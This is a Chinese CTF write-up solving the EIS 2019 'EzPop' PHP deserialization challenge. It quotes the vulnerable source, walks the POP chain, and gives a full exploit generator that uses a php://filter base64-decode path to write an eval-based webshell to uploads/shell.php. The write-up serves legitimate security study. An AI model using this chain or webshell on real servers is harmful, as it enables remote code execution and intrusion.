[EIS 2019]EzPop刷题笔记
根据题目名判断为反序列化pop链
题目附了源码如下
<?php error_reporting(0); class A { protected $store; protected $key; protected $expire; public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; } public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); } public function __destruct() { if (!$this->autosave) { $this->save(); } } } class B { protected function getExpireTime($expire): int { return (int) $expire; } public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; } protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); } public function set($name, $value, $expire = null): bool{ $this->writeTimes++; if (is_null($expire)) { $expire = $this->options['expire']; } $expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { // 创建失败 } } $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) { //数据压缩 $data = gzcompress($data, 3); } $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data); if ($result) { return true; } return false; } } if (isset($_GET['src'])) { highlight_file(__FILE__); } $dir = "uploads/"; if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
大致浏览一遍判断终点在file_put_contents函数,目的为将恶意内容写进可控文件名
pop利用链为A类的__destruct到A类的save到B类的set函数
跟着$filename和$data往上找
对于$file:
$filename = $this->getCacheKey($name);
public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; }
而$name就取决于A类的$key
对于$data:
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$data = $this->serialize($value);
protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; } $serialize = $this->options['serialize']; return $serialize($data); }
这里第一处有一个拼接,想到之前见过的用伪协议过滤器进行绕过,$value就取决于A类中的$contents
然后再看$contents咋来的
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]); foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } } return $contents; } public function getForStorage() { $cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]); } public function save() { $contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire); }
这里控制A类的complete即可,然后就不用管cache的值了,直接给一个空数组
一鼓作气往下捋,还要过一层B类的serialize函数,控制option数组让serialize相当于没有就可以,给options['serialize']一个strval的值即可
然后就是过死亡绕过,$data以base64写入,$filename以过滤器的形式传即可
因为filename是拼接的,对于$filename来说其实key那个变量已经不重要了,传个空值然后控制options['prefix']即可
下面来尝试构造exp
在构造exp是遇到了一个坑点,在拼接文件内容时前面给的死亡绕过部分只有9个字符在base64的编码表里,而base64是4字节4字节解码的,所以之前要拼三个字符凑成4的倍数,让之前那些东西不和传的🐎分成一组解码
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct(){
$this->store=new B();//为了满足跳转
$this->autosave=false;//为了if语句执行
$this->key='';//不重要了
$this->expire='';//也不重要
$this->cache=[];//还不重要
$this->complete='aaaPD9waHAgQGV2YWwoJF9QT1NUWzJdKTs/Pg==';//base64的🐎+三个字符
}
}
class B {
public function __construct(){
$this->options=array('serialize'=>'strval','prefix'=>'php://filter/write=convert.base64-decode/resource=uploads/shell.php
','data_compress'=>false)
//为了顺利写入文件和为了让数据压缩不执行
}
}
$o=new A();
echo urlencode(serialize($o));//protect变量反序列化有不可见字符,要encode一下
传入打印结果后找🐎拿flag了
又是看着wp思路做题的一天 菜狗躺平中😴